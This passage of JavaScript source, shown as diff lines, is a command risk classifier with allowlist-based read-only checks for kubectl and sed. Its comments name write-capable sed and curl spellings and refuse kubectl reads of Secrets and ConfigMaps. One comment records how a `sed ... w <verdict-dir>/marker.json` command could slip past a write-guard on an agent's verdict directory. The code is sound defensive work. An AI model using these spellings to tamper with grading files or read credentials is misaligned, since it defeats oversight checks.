|
-
const KUBECTL_TOP_VALUE_FLAGS = new Set(["--sort-by", "-l", "--selector"]);
|
|
834
|
-
// Shared by the informational verbs: api-resources, api-versions,
|
|
835
|
-
// version, cluster-info, explain, and `auth can-i`.
|
|
836
|
-
const KUBECTL_INFO_ALLOWED_FLAGS = new Set([
|
|
837
|
-
"-o", "--output", "--namespaced", "--verbs", "--api-group", "--sort-by",
|
|
838
|
-
"--recursive", "--list", "-A", "--all-namespaces", "--client", "--short",
|
|
839
|
-
]);
|
|
840
|
-
const KUBECTL_INFO_VALUE_FLAGS = new Set([
|
|
841
|
-
"-o", "--output", "--verbs", "--api-group", "--sort-by",
|
|
842
|
-
]);
|
|
843
|
-
/** True when any raw token mentions "secret" (case-insensitive substring). */
|
|
844
|
-
function kubectlArgMentionsSecret(tokens) {
|
|
845
|
-
return tokens.some((t) => t.toLowerCase().includes("secret"));
|
|
846
|
-
}
|
|
847
|
-
/**
|
|
848
|
-
* True when any raw token mentions "configmap", or is (or contains, as
|
|
849
|
-
* one comma-separated resource-list segment) the bare abbreviation
|
|
850
|
-
* `cm` — `get cm`, `get cm/my-map`, `get pods,cm`, `get cm,pods` are
|
|
851
|
-
* all caught. ConfigMap data is a common credential store (see
|
|
852
|
-
* docs/risk-gate.md), so it gets the same fail-safe exclusion as
|
|
853
|
-
* Secrets. The `cm` check is segment-based rather than a bare substring
|
|
854
|
-
* match so it does not fire on an unrelated word that merely starts or
|
|
855
|
-
* ends with "cm" (`cmd`, `cmagent`).
|
|
856
|
-
*/
|
|
857
|
-
function kubectlArgMentionsConfigMap(tokens) {
|
|
858
|
-
return tokens.some((t) => {
|
|
859
|
-
const lower = t.toLowerCase();
|
|
860
|
-
if (lower.includes("configmap"))
|
|
861
|
-
return true;
|
|
862
|
-
return lower.split(",").some((seg) => seg === "cm" || seg.startsWith("cm/"));
|
|
863
|
-
});
|
|
864
|
-
}
|
|
865
|
-
/**
|
|
866
|
-
* Kubectl read-only floor for the Risk Classifier ONLY — see the module
|
|
867
|
-
* doc above this constant block for scope and the blast-radius
|
|
868
|
-
* decision. `true` means every token after `kubectl` is argv-shaped as
|
|
869
|
-
* a plain word, a curated read verb was invoked, every flag is drawn
|
|
870
|
-
* from that verb's (or the global) allowlist, and — for `get`/
|
|
871
|
-
* `describe` — no token mentions a Secret or ConfigMap resource, with
|
|
872
|
-
* no shell chaining, redirection, or substitution anywhere in the
|
|
873
|
-
* command.
|
|
874
|
-
*/
|
|
875
|
-
export function isReadOnlyKubectlCommand(command) {
|
|
876
|
-
const trimmed = command.trim();
|
|
877
|
-
if (trimmed === "")
|
|
878
|
-
return false;
|
|
879
|
-
if (hasUnsafeShellMetachar(trimmed))
|
|
880
|
-
return false;
|
|
881
|
-
const tokens = trimmed.split(/\s+/);
|
|
882
|
-
if (tokens[0] !== "kubectl")
|
|
883
|
-
return false;
|
|
884
|
-
const rest = tokens.slice(1);
|
|
885
|
-
// Token shape allowlist: every token after `kubectl` must be a plain
|
|
886
|
-
// word (see the constant doc above). Closes brace expansion, globs,
|
|
887
|
-
// quoting, and escaping in one check, before any verb or flag logic
|
|
888
|
-
// runs.
|
|
889
|
-
if (rest.some((t) => !KUBECTL_PLAIN_WORD_PATTERN.test(t)))
|
|
890
|
-
return false;
|
|
891
|
-
// Walk any leading global flags to find the verb. An unrecognized
|
|
892
|
-
// flag here fails closed immediately — a token starting with `-`
|
|
893
|
-
// can never itself be the verb.
|
|
894
|
-
let idx = 0;
|
|
895
|
-
while (idx < rest.length) {
|
|
896
|
-
const t = rest[idx];
|
|
897
|
-
if (t === undefined || !t.startsWith("-"))
|
|
898
|
-
break;
|
|
899
|
-
const eq = t.indexOf("=");
|
|
900
|
-
const flagName = eq === -1 ? t : t.slice(0, eq);
|
|
901
|
-
if (!KUBECTL_GLOBAL_ALLOWED_FLAGS.has(flagName))
|
|
902
|
-
return false;
|
|
903
|
-
idx += 1;
|
|
904
|
-
if (eq === -1 && KUBECTL_GLOBAL_VALUE_FLAGS.has(flagName)) {
|
|
905
|
-
if (idx >= rest.length)
|
|
906
|
-
return false; // missing value: fail closed
|
|
907
|
-
idx += 1;
|
|
908
|
-
}
|
|
909
|
-
}
|
|
910
|
-
const sub = rest[idx];
|
|
911
|
-
if (sub === undefined)
|
|
912
|
-
return false; // bare `kubectl` or only global flags
|
|
913
|
-
idx += 1;
|
|
914
|
-
let verbAllowedFlags;
|
|
915
|
-
let verbValueFlags;
|
|
916
|
-
// `auth can-i` is a permission CHECK, never the resource's own data,
|
|
917
|
-
// so it is deliberately excluded from `KUBECTL_SENSITIVE_RESOURCE_VERBS`
|
|
918
|
-
// (that Set only ever names `get`/`describe`) and this lookup returns
|
|
919
|
-
// `false` for it without a separate branch.
|
|
920
|
-
const sensitiveVerb = KUBECTL_SENSITIVE_RESOURCE_VERBS.has(sub);
|
|
921
|
-
if (sub === "auth") {
|
|
922
|
-
if (rest[idx] !== "can-i")
|
|
923
|
-
return false;
|
|
924
|
-
idx += 1;
|
|
925
|
-
verbAllowedFlags = KUBECTL_INFO_ALLOWED_FLAGS;
|
|
926
|
-
verbValueFlags = KUBECTL_INFO_VALUE_FLAGS;
|
|
927
|
-
}
|
|
928
|
-
else if (!KUBECTL_READ_ONLY_VERBS.has(sub)) {
|
|
929
|
-
return false;
|
|
930
|
-
}
|
|
931
|
-
else {
|
|
932
|
-
switch (sub) {
|
|
933
|
-
case "get":
|
|
934
|
-
verbAllowedFlags = KUBECTL_GET_ALLOWED_FLAGS;
|
|
935
|
-
verbValueFlags = KUBECTL_GET_VALUE_FLAGS;
|
|
936
|
-
break;
|
|
937
|
-
case "describe":
|
|
938
|
-
verbAllowedFlags = KUBECTL_DESCRIBE_ALLOWED_FLAGS;
|
|
939
|
-
verbValueFlags = KUBECTL_DESCRIBE_VALUE_FLAGS;
|
|
940
|
-
break;
|
|
941
|
-
case "logs":
|
|
942
|
-
verbAllowedFlags = KUBECTL_LOGS_ALLOWED_FLAGS;
|
|
943
|
-
verbValueFlags = KUBECTL_LOGS_VALUE_FLAGS;
|
|
944
|
-
break;
|
|
945
|
-
case "top":
|
|
946
|
-
verbAllowedFlags = KUBECTL_TOP_ALLOWED_FLAGS;
|
|
947
|
-
verbValueFlags = KUBECTL_TOP_VALUE_FLAGS;
|
|
948
|
-
break;
|
|
949
|
-
default: // api-resources, api-versions, version, cluster-info, explain
|
|
950
|
-
verbAllowedFlags = KUBECTL_INFO_ALLOWED_FLAGS;
|
|
951
|
-
verbValueFlags = KUBECTL_INFO_VALUE_FLAGS;
|
|
952
|
-
}
|
|
953
|
-
}
|
|
954
|
-
const remainder = rest.slice(idx);
|
|
955
|
-
// Validate every remaining flag token against the combined global +
|
|
956
|
-
// per-verb allowlist (global flags are legal both before and after
|
|
957
|
-
// the verb). Positional tokens (resource names, selector values
|
|
958
|
-
// already consumed as a flag's value) are not re-validated here —
|
|
959
|
-
// they were already checked against the plain-word pattern above.
|
|
960
|
-
for (let i = 0; i < remainder.length; i++) {
|
|
961
|
-
const t = remainder[i];
|
|
962
|
-
if (t === undefined)
|
|
963
|
-
continue;
|
|
964
|
-
if (!t.startsWith("-")) {
|
|
965
|
-
// `cluster-info` takes no positional: `cluster-info dump` prints
|
|
966
|
-
// cluster-wide pod logs and is refused (fail-safe), as is any
|
|
967
|
-
// future sub-subcommand. Every other verb's positionals were
|
|
968
|
-
// already shape-checked above.
|
|
969
|
-
if (sub === "cluster-info")
|
|
970
|
-
return false;
|
|
971
|
-
continue;
|
|
972
|
-
}
|
|
973
|
-
const eq = t.indexOf("=");
|
|
974
|
-
const flagName = eq === -1 ? t : t.slice(0, eq);
|
|
975
|
-
const isGlobal = KUBECTL_GLOBAL_ALLOWED_FLAGS.has(flagName);
|
|
976
|
-
const isVerbFlag = verbAllowedFlags.has(flagName);
|
|
977
|
-
if (!isGlobal && !isVerbFlag)
|
|
978
|
-
return false;
|
|
979
|
-
if (eq === -1) {
|
|
980
|
-
const takesValue = (isGlobal && KUBECTL_GLOBAL_VALUE_FLAGS.has(flagName)) ||
|
|
981
|
-
(isVerbFlag && verbValueFlags.has(flagName));
|
|
982
|
-
if (takesValue) {
|
|
983
|
-
i += 1;
|
|
984
|
-
if (i >= remainder.length)
|
|
985
|
-
return false; // missing value: fail closed
|
|
986
|
-
}
|
|
987
|
-
}
|
|
988
|
-
}
|
|
989
|
-
if (sensitiveVerb &&
|
|
990
|
-
(kubectlArgMentionsSecret(remainder) || kubectlArgMentionsConfigMap(remainder))) {
|
|
991
|
-
return false;
|
|
992
|
-
}
|
|
993
|
-
return true;
|
|
994
|
-
}
|
|
995
|
-
// ---------------------------------------------------------------------------
|
|
996
|
-
// `sed` read-only floor, Risk-Classifier ONLY (task 2929c5b7).
|
|
997
|
-
//
|
|
998
|
-
// Placed here beside `isReadOnlyKubectlCommand` above, and wired ONLY at
|
|
999
|
-
// `risk-classifier.ts`'s built-in floor, for the same reason that floor is:
|
|
1000
|
-
// `isReadOnlyBashCommand` is consumed DIRECTLY by two other gates, and both
|
|
1001
|
-
// short-circuit on it before running their own checks. The
|
|
1002
|
-
// solution-acceptance write-guard (`src/cli/pack/hook-solution-acceptance-
|
|
1003
|
-
// writeguard.ts`) returns `blocked: false` for anything
|
|
1004
|
-
// `isReadOnlyBashCommand` accepts BEFORE it ever looks at whether the
|
|
1005
|
-
// command references the protected verdict directory. Teaching the shared
|
|
1006
|
-
// predicate about `sed` therefore widens that guard: review round 2 of this
|
|
1007
|
-
// task measured `sed 's/a/b/w <verdict-dir>/marker.json' f` and
|
|
1008
|
-
// `sed -n 'w <verdict-dir>/marker.json' f` going BLOCKED -> ALLOWED. This
|
|
1009
|
-
// predicate must therefore stay OUT of `classifyTokens`; the write-guard
|
|
1010
|
-
// pins in `tests/cli/pack-hook-solution-acceptance-writeguard.test.ts`
|
|
1011
|
-
// fail if that is ever undone.
|
|
1012
|
-
//
|
|
1013
|
-
// NO `curl` FLOOR EXISTS, deliberately (decision D-013, this run). Rounds
|
|
1014
|
-
// 2 and 3 both shipped one and both leaked: round 2's write-flag denylist
|
|
1015
|
-
// missed `-o`/`-O`/`-D`/`-c`/`-K`, and round 3's flag ALLOWLIST still
|
|
1016
|
-
// admitted `-w`/`--write-out`, whose `%output{FILE}` directive writes a
|
|
1017
|
-
// local file since curl 8.3.0 (measured on curl 8.7.1). The recurring
|
|
1018
|
-
// class is the premise, not the list: deciding a curl invocation is inert
|
|
1019
|
-
// requires knowing every curl flag's write capability across curl
|
|
1020
|
-
// versions, and `-H @file` shows the value side has the same problem.
|
|
1021
|
-
// `curl` therefore stays UNCLASSIFIED, like `ssh` and `node -e`, and rides
|
|
1022
|
-
// the `when:` evaluator's fallback: approval-gated in a production
|
|
1023
|
-
// context, never hard-blocked, never floored. Its write-capable spellings
|
|
1024
|
-
// are raised to `high` by `destructive-shell-floor.ts` instead, which only
|
|
1025
|
-
// has to recognise capability it CAN name. See docs/risk-gate.md's
|
|
1026
|
-
// "Unclassified actions and the fail-close rule".
|
|
1027
|
-
//
|
|
1028
|
-
// Design: ALLOWLIST, fail closed (decision D-012, this run). Every token
|
|
1029
|
-
// after the head must be recognised: a known read-only flag, a known
|
|
1030
|
-
// flag's value, or a plain operand. An unknown flag, an unknown short-flag
|
|
1031
|
-
// cluster character, a missing flag value, or anything this module cannot
|
|
1032
|
-
// name forfeits the floor. That is the opposite of the round-2 shape
|
|
1033
|
-
// (a denylist of write flags, where every flag nobody had enumerated
|
|
1034
|
-
// silently passed).
|
|
1035
|
-
//
|
|
1036
|
-
// Forfeiting is cheap: the command simply stays unclassified, which the
|
|
1037
|
-
// `when:` evaluator treats as risk-bearing at the "high" rung (approval-
|
|
1038
|
-
// gated, never hard-blocked at `severity_at_least: critical`). Under-
|
|
1039
|
-
// blocking is not cheap. Over-block a read, never under-block a write.
|
|
1040
|
-
//
|
|
1041
|
-
// `decodeShellWord` is used here on the PERMISSIVE side (to EXEMPT a
|
|
1042
|
-
// command), which `shell-word.ts`'s module header explicitly calls out as
|
|
1043
|
-
// outside its `raw || decoded` direction rule. That is safe here BY
|
|
1044
|
-
// CONSTRUCTION rather than by argument: (1) the decoder returns the RAW
|
|
1045
|
-
// token unchanged for anything it cannot resolve, and a raw token with
|
|
1046
|
-
// quoting still in it does not match any allowlist entry, so an incomplete
|
|
1047
|
-
// decode forfeits the floor; (2) a token whose RAW form is not a flag but
|
|
1048
|
-
// whose DECODED form is (`"-o"`), or vice versa, is rejected outright
|
|
1049
|
-
// rather than classified under either reading.
|
|
1050
|
-
/**
|
|
1051
|
-
* Characters whose UNQUOTED appearance in a token means the shell rewrites
|
|
1052
|
-
* that token into text this classifier never sees, and, critically, can
|
|
1053
|
-
* rewrite ONE token into SEVERAL argv words, which is how a write flag
|
|
1054
|
-
* gets past a token-shape allowlist: `sed $FLAGS f` with
|
|
1055
|
-
* `FLAGS='-i'`, `sed -n 1p {-i,x}` (brace expansion), or a glob whose
|
|
1056
|
-
* match starts with `-`. `$` and a backtick also cover command
|
|
1057
|
-
* substitution that the `hasUnsafeShellMetachar` preamble does not already
|
|
1058
|
-
* refuse (`$(`, a backtick and every chaining metacharacter are refused
|
|
1059
|
-
* there first).
|
|
1060
|
-
*
|
|
1061
|
-
* Quoting is honoured: inside `'single quotes'` every one of these is
|
|
1062
|
-
* literal, and inside `"double quotes"` the glob/brace characters are
|
|
1063
|
-
* literal while `$` and a backtick stay live. That is what keeps
|
|
1064
|
-
* `sed -n '$p' f` on the floor while `sed -n "/$X/p" f` forfeits it.
|
|
1065
|
-
* Quote your script to keep the floor.
|
|
1066
|
-
*/
|
|
1067
|
-
const LIVE_EXPANSION_CHARS = new Set([
|
|
1068
|
-
"$", "`", "{", "}", "*", "?", "[", "]",
|
|
1069
|
-
]);
|
|
1070
|
-
/** Glob/brace characters, literal inside double quotes; `$`/backtick are not. */
|
|
1071
|
-
const DOUBLE_QUOTE_INERT_EXPANSION_CHARS = new Set([
|
|
1072
|
-
"{", "}", "*", "?", "[", "]",
|
|
1073
|
-
]);
|
|
1074
|
-
/**
|
|
1075
|
-
* True when `token` contains a shell expansion (see `LIVE_EXPANSION_CHARS`)
|
|
1076
|
-
* that is NOT quoted away. An unterminated quote run (the `'A:` / `b'` pair
|
|
1077
|
-
* a whitespace tokenizer produces for `-H 'A: b'`) is treated as quoted to
|
|
1078
|
-
* its end, which is what bash does across the whitespace this tokenizer
|
|
1079
|
-
* split on.
|
|
1080
|
-
*/
|
|
1081
|
-
function hasLiveShellExpansion(token) {
|
|
1082
|
-
let quote = null;
|
|
1083
|
-
for (let i = 0; i < token.length; i += 1) {
|
|
1084
|
-
const ch = token[i];
|
|
1085
|
-
if (quote !== "'" && ch === "\\") {
|
|
1086
|
-
i += 1; // backslash escapes the next character outside single quotes
|
|
1087
|
-
continue;
|
|
1088
|
-
}
|
|
1089
|
-
if (quote === null && (ch === "'" || ch === '"')) {
|
|
1090
|
-
quote = ch;
|
|
1091
|
-
continue;
|
|
1092
|
-
}
|
|
1093
|
-
if (quote !== null && ch === quote) {
|
|
1094
|
-
quote = null;
|
|
1095
|
-
continue;
|
|
1096
|
-
}
|
|
1097
|
-
if (quote === "'")
|
|
1098
|
-
continue;
|
|
1099
|
-
if (quote === '"' && DOUBLE_QUOTE_INERT_EXPANSION_CHARS.has(ch))
|
|
1100
|
-
continue;
|
|
1101
|
-
if (LIVE_EXPANSION_CHARS.has(ch))
|
|
1102
|
-
return true;
|
|
1103
|
-
}
|
|
1104
|
-
return false;
|
|
1105
|
-
}
|
|
1106
|
-
/**
|
|
1107
|
-
* Splits a metachar-cleared command into `[head, ...rest]` and applies the
|
|
1108
|
-
* two preconditions the floor below needs: the head must be the exact
|
|
1109
|
-
* binary name (no path prefix, the same tightness as
|
|
1110
|
-
* `isReadOnlyKubectlCommand`'s `tokens[0] !== "kubectl"`), and no token may
|
|
1111
|
-
* carry a live shell expansion. Returns `null` when the command is not a
|
|
1112
|
-
* floorable invocation of `bin`.
|
|
1113
|
-
*
|
|
1114
|
-
* Parameterised by `bin` rather than hard-coded to `sed`: it was shared
|
|
1115
|
-
* with the `curl` floor D-013 removed, and the parameter keeps the head
|
|
1116
|
-
* check honest (an exact match, not a prefix) for whichever binary a
|
|
1117
|
-
* future floor names.
|
|
1118
|
-
*/
|
|
1119
|
-
function floorArgv(command, bin) {
|
|
1120
|
-
const trimmed = command.trim();
|
|
1121
|
-
if (trimmed === "")
|
|
1122
|
-
return null;
|
|
1123
|
-
if (hasUnsafeShellMetachar(trimmed))
|
|
1124
|
-
return null;
|
|
1125
|
-
const tokens = trimmed.split(/\s+/);
|
|
1126
|
-
if (tokens[0] !== bin)
|
|
1127
|
-
return null;
|
|
1128
|
-
const rest = tokens.slice(1);
|
|
1129
|
-
if (rest.length === 0)
|
|
1130
|
-
return null;
|
|
1131
|
-
if (rest.some(hasLiveShellExpansion))
|
|
1132
|
-
return null;
|
|
1133
|
-
return rest;
|
|
1134
|
-
}
|
|
1135
|
-
const CLUSTER_FORFEIT = { kind: "forfeit" };
|
|
1136
|
-
/**
|
|
1137
|
-
* Walk a single-dash short-flag cluster CHARACTER BY CHARACTER, which is
|
|
1138
|
-
* the whole point of the floor's short-flag handling: `-ni f` must forfeit
|
|
1139
|
-
* on the `i` even though it starts with an allowlisted `n`.
|
|
1140
|
-
*
|
|
1141
|
-
* Every character must be in `noValueChars` until the first character
|
|
1142
|
-
* `isValueChar` claims. That character consumes the REST of the cluster as
|
|
1143
|
-
* its glued value, or `nextToken` when nothing is glued, and `onValue`
|
|
1144
|
-
* decides whether the value keeps the floor. `onValue` returning `false`,
|
|
1145
|
-
* an empty cluster, or an unrecognised character all forfeit.
|
|
1146
|
-
*
|
|
1147
|
-
* `isReadOnlySedCommand` is its only caller since D-013 removed the `curl`
|
|
1148
|
-
* floor. Kept as its own function rather than inlined: it is the
|
|
1149
|
-
* security-relevant half of the sed floor and is exercised directly by the
|
|
1150
|
-
* cluster cases in tests/runtime/read-only-floors.test.ts.
|
|
1151
|
-
*/
|
|
1152
|
-
function walkShortFlagCluster(chars, noValueChars, isValueChar, onValue, nextToken) {
|
|
1153
|
-
if (chars.length === 0)
|
|
1154
|
-
return CLUSTER_FORFEIT;
|
|
1155
|
-
for (let j = 0; j < chars.length; j += 1) {
|
|
1156
|
-
const c = chars[j];
|
|
1157
|
-
if (isValueChar(c)) {
|
|
1158
|
-
const glued = chars.slice(j + 1);
|
|
1159
|
-
if (!onValue(c, glued, nextToken))
|
|
1160
|
-
return CLUSTER_FORFEIT;
|
|
1161
|
-
return { kind: "ok", consumedNext: glued.length === 0 };
|
|
1162
|
-
}
|
|
1163
|
-
if (!noValueChars.has(c))
|
|
1164
|
-
return CLUSTER_FORFEIT;
|
|
1165
|
-
}
|
|
1166
|
-
return { kind: "ok", consumedNext: false };
|
|
1167
|
-
}
|
|
1168
|
-
// --- sed -------------------------------------------------------------------
|
|
1169
|
-
/** `sed` flags that take no value and cannot write. */
|
|
1170
|
-
const SED_READ_ONLY_LONG_FLAGS = new Set([
|
|
1171
|
-
"--quiet", "--silent", "--regexp-extended", "--separate",
|
|
1172
|
-
"--null-data", "--unbuffered", "--posix",
|
|
1173
|
-
]);
|
|
1174
|
-
/** `sed` flags whose value is a SCRIPT (scanned by `sedScriptIsReadOnly`). */
|
|
1175
|
-
const SED_SCRIPT_LONG_FLAGS = new Set(["--expression"]);
|
|
1176
|
-
/** Short-flag cluster characters that take no value and cannot write. */
|
|
1177
|
-
const SED_READ_ONLY_SHORT_CHARS = new Set([
|
|
1178
|
-
"n", "E", "r", "s", "z", "u",
|
|
1179
|
-
]);
|
|
1180
|
-
/** Short-flag cluster characters whose value is a SCRIPT. */
|
|
1181
|
-
const SED_SCRIPT_SHORT_CHARS = new Set(["e"]);
|
|
1182
|
-
/**
|
|
1183
|
-
* `sed` read-only floor for the Risk Classifier ONLY.
|
|
1184
|
-
*
|
|
1185
|
-
* CORRECTS A FALSE PREMISE this task shipped in round 1 ("without `-i`,
|
|
1186
|
-
* sed only writes to stdout"). It does not: sed's `w FILE` command and the
|
|
1187
|
-
* `s///w FILE` substitution flag write an operator-named file with no
|
|
1188
|
-
* `-i`, no redirection and no shell metacharacter, and `-f SCRIPTFILE`
|
|
1189
|
-
* executes a script this classifier never reads. GNU sed's `e` command and
|
|
1190
|
-
* `s///e` flag additionally execute a shell command. All four are refused
|
|
1191
|
-
* here.
|
|
1192
|
-
*
|
|
1193
|
-
* `true` requires ALL of: the head is exactly `sed`; no token carries a
|
|
1194
|
-
* live shell expansion; every flag is drawn from the read-only allowlist
|
|
1195
|
-
* above (so `-i` in every spelling: `-i`, `-i.bak`, `-ni`,
|
|
1196
|
-
* `--in-place`, `--in-place=SUFFIX`, and `-f`/`--file` forfeit by never
|
|
1197
|
-
* being ON it, not by being enumerated as write flags); and every script
|
|
1198
|
-
* (each `-e`/`--expression` value, or the first positional operand when no
|
|
1199
|
-
* `-e` was given) parses as a read-only sed program under
|
|
1200
|
-
* `sedScriptIsReadOnly`.
|
|
1201
|
-
*/
|
|
1202
|
-
export function isReadOnlySedCommand(command) {
|
|
1203
|
-
const rest = floorArgv(command, "sed");
|
|
1204
|
-
if (rest === null)
|
|
1205
|
-
return false;
|
|
1206
|
-
const scripts = [];
|
|
1207
|
-
const positionals = [];
|
|
1208
|
-
let optionsEnded = false;
|
|
1209
|
-
for (let i = 0; i < rest.length; i += 1) {
|
|
1210
|
-
const raw = rest[i];
|
|
1211
|
-
const decoded = decodeShellWord(raw);
|
|
1212
|
-
if (optionsEnded) {
|
|
1213
|
-
positionals.push(decoded);
|
|
1214
|
-
continue;
|
|
1215
|
-
}
|
|
1216
|
-
const rawIsFlag = raw.startsWith("-") && raw !== "-";
|
|
1217
|
-
const decodedIsFlag = decoded.startsWith("-") && decoded !== "-";
|
|
1218
|
-
// A token that is a flag under exactly one of the two readings is
|
|
1219
|
-
// unclassifiable: `"-i"` reaches sed as `-i` while looking like an
|
|
1220
|
-
// operand. Fail closed rather than pick a reading.
|
|
1221
|
-
if (rawIsFlag !== decodedIsFlag)
|
|
1222
|
-
return false;
|
|
1223
|
-
if (!rawIsFlag) {
|
|
1224
|
-
positionals.push(decoded);
|
|
1225
|
-
continue;
|
|
1226
|
-
}
|
|
1227
|
-
if (decoded === "--") {
|
|
1228
|
-
optionsEnded = true;
|
|
1229
|
-
continue;
|
|
1230
|
-
}
|
|
1231
|
-
if (decoded.startsWith("--")) {
|
|
1232
|
-
const eq = decoded.indexOf("=");
|
|
1233
|
-
const name = eq === -1 ? decoded : decoded.slice(0, eq);
|
|
1234
|
-
if (SED_SCRIPT_LONG_FLAGS.has(name)) {
|
|
1235
|
-
if (eq !== -1) {
|
|
1236
|
-
scripts.push(decoded.slice(eq + 1));
|
|
1237
|
-
continue;
|
|
1238
|
-
}
|
|
1239
|
-
i += 1;
|
|
1240
|
-
if (i >= rest.length)
|
|
1241
|
-
return false; // missing value: fail closed
|
|
1242
|
-
scripts.push(decodeShellWord(rest[i]));
|
|
1243
|
-
continue;
|
|
1244
|
-
}
|
|
1245
|
-
if (eq === -1 && SED_READ_ONLY_LONG_FLAGS.has(name))
|
|
1246
|
-
continue;
|
|
1247
|
-
return false;
|
|
1248
|
-
}
|
|
1249
|
-
// Short-flag cluster, decomposed CHARACTER BY CHARACTER: every
|
|
1250
|
-
// character must be allowlisted, not just the first.
|
|
1251
|
-
const walk = walkShortFlagCluster(decoded.slice(1), SED_READ_ONLY_SHORT_CHARS, (c) => SED_SCRIPT_SHORT_CHARS.has(c), (_c, glued, nextToken) => {
|
|
1252
|
-
if (glued.length > 0) {
|
|
1253
|
-
scripts.push(glued);
|
|
1254
|
-
return true;
|
|
1255
|
-
}
|
|
1256
|
-
if (nextToken === undefined)
|
|
1257
|
-
return false; // missing value: fail closed
|
|
1258
|
-
scripts.push(decodeShellWord(nextToken));
|
|
1259
|
-
return true;
|
|
1260
|
-
}, rest[i + 1]);
|
|
1261
|
-
if (walk.kind === "forfeit")
|
|
1262
|
-
return false;
|
|
1263
|
-
if (walk.consumedNext)
|
|
1264
|
-
i += 1;
|
|
1265
|
-
}
|
|
1266
|
-
// With no `-e`, sed's FIRST positional operand is the script; the rest
|
|
1267
|
-
// are input files (read-only by construction: an operand that looked
|
|
1268
|
-
// like a flag under either reading was already refused above).
|
|
1269
|
-
if (scripts.length === 0) {
|
|
1270
|
-
const first = positionals[0];
|
|
1271
|
-
if (first === undefined)
|
|
1272
|
-
return false; // bare `sed`: nothing to prove
|
|
1273
|
-
scripts.push(first);
|
|
1274
|
-
}
|
|
1275
|
-
return scripts.every(sedScriptIsReadOnly);
|
|
1276
|
-
}
|
|
1277
|
-
/**
|
|
1278
|
-
* sed script commands that consume no argument and cannot write: print,
|
|
1279
|
-
* delete, hold/pattern-space moves, line number, quit, zap, filename.
|
|
1280
|
-
* `l`, `q` and `Q` accept an optional numeric argument, handled below.
|
|
1281
|
-
*
|
|
1282
|
-
* Everything NOT in this set (plus `s`, `y`, and the branch/label
|
|
1283
|
-
* commands handled explicitly) forfeits the floor: `w` and `W` (write a
|
|
1284
|
-
* file), `e` (execute a shell command), `r`/`R` (read a file), `a`/`i`/`c`
|
|
1285
|
-
* (text whose syntax swallows the rest of the script), `#` (comment), and
|
|
1286
|
-
* any command a future sed adds.
|
|
1287
|
-
*/
|
|
1288
|
-
const SED_SAFE_NO_ARG_COMMANDS = new Set([
|
|
1289
|
-
"p", "P", "d", "D", "n", "N", "h", "H", "g", "G", "x", "l", "=", "q", "Q", "z", "F",
|
|
1290
|
-
]);
|
|
1291
|
-
/** Branch/label commands: control flow only, no I/O. */
|
|
1292
|
-
const SED_LABEL_COMMANDS = new Set(["b", "t", "T", ":"]);
|
|
1293
|
-
/** `s///` flags that cannot write or execute. `w` and `e` are NOT here. */
|
|
1294
|
-
const SED_SAFE_SUBSTITUTION_FLAGS = new Set([
|
|
1295
|
-
"g", "p", "i", "I", "m", "M",
|
|
1296
|
-
]);
|
|
1297
|
-
/**
|
|
1298
|
-
* `true` when `script` parses, end to end, as a sed program built only
|
|
1299
|
-
* from the safe command set above. A deliberately small recursive-descent
|
|
1300
|
-
* scan rather than a substring search for `w`: a "forfeit on any letter
|
|
1301
|
-
* `w`" rule would also forfeit `/warning/p`, and a substring search cannot
|
|
1302
|
-
* see the `e` command at all. Anything the scan does not fully understand
|
|
1303
|
-
* (an unterminated regex, a custom `\cREGEXc` address delimiter, a
|
|
1304
|
-
* command not in the sets above, a trailing argument where a separator
|
|
1305
|
-
* must be) returns `false`, so the failure mode is a forfeited floor,
|
|
1306
|
-
* never an accepted write.
|
|
1307
|
-
*/
|
|
1308
|
-
function sedScriptIsReadOnly(script) {
|
|
1309
|
-
const n = script.length;
|
|
1310
|
-
let i = 0;
|
|
1311
|
-
let statements = 0;
|
|
1312
|
-
while (i < n) {
|
|
1313
|
-
const lead = script[i];
|
|
1314
|
-
if (lead === ";" || lead === " " || lead === "\t" || lead === "\n" || lead === "}") {
|
|
1315
|
-
i += 1;
|
|
1316
|
-
continue;
|
|
1317
|
-
}
|
|
1318
|
-
const afterFirst = readSedAddress(script, i);
|
|
1319
|
-
if (afterFirst === -1)
|
|
1320
|
-
return false;
|
|
1321
|
-
i = afterFirst;
|
|
1322
|
-
if (script[i] === ",") {
|
|
1323
|
-
i += 1;
|
|
1324
|
-
const afterSecond = readSedAddress(script, i);
|
|
1325
|
-
if (afterSecond === -1 || afterSecond === i)
|
|
1326
|
-
return false; // second address required
|
|
1327
|
-
i = afterSecond;
|
|
1328
|
-
}
|
|
1329
|
-
while (script[i] === "!")
|
|
1330
|
-
i += 1;
|
|
1331
|
-
while (script[i] === " " || script[i] === "\t")
|
|
1332
|
-
i += 1;
|
|
1333
|
-
const cmd = script[i];
|
|
1334
|
-
if (cmd === undefined)
|
|
1335
|
-
return false; // address with no command
|
|
1336
|
-
i += 1;
|
|
1337
|
-
if (cmd === "{")
|
|
1338
|
-
continue; // block open; the block's statements follow
|
|
1339
|
-
if (SED_SAFE_NO_ARG_COMMANDS.has(cmd)) {
|
|
1340
|
-
while (i < n && script[i] === " ")
|
|
1341
|
-
i += 1;
|
|
1342
|
-
while (i < n && script[i] >= "0" && script[i] <= "9")
|
|
1343
|
-
i += 1; // `l N`, `q N`
|
|
1344
|
-
}
|
|
1345
|
-
else if (cmd === "s" || cmd === "y") {
|
|
1346
|
-
const after = readSedTwoPartCommand(script, i, cmd === "s");
|
|
1347
|
-
if (after === -1)
|
|
1348
|
-
return false;
|
|
1349
|
-
i = after;
|
|
1350
|
-
}
|
|
1351
|
-
else if (SED_LABEL_COMMANDS.has(cmd)) {
|
|
1352
|
-
while (i < n && script[i] === " ")
|
|
1353
|
-
i += 1;
|
|
1354
|
-
while (i < n && /[A-Za-z0-9_]/.test(script[i]))
|
|
1355
|
-
i += 1;
|
|
1356
|
-
}
|
|
1357
|
-
else {
|
|
1358
|
-
return false; // w, W, e, r, R, a, i, c, #, v, and anything unknown
|
|
1359
|
-
}
|
|
1360
|
-
statements += 1;
|
|
1361
|
-
while (i < n && (script[i] === " " || script[i] === "\t"))
|
|
1362
|
-
i += 1;
|
|
1363
|
-
if (i < n) {
|
|
1364
|
-
const sep = script[i];
|
|
1365
|
-
// A command must be followed by a separator. `s/a/b/w file` lands
|
|
1366
|
-
// HERE, on the `w`, because `w` is not an accepted `s///` flag.
|
|
1367
|
-
if (sep !== ";" && sep !== "}" && sep !== "{" && sep !== "\n")
|
|
1368
|
-
return false;
|
|
1369
|
-
}
|
|
1370
|
-
}
|
|
1371
|
-
return statements > 0;
|
|
1372
|
-
}
|
|
1373
|
-
/**
|
|
1374
|
-
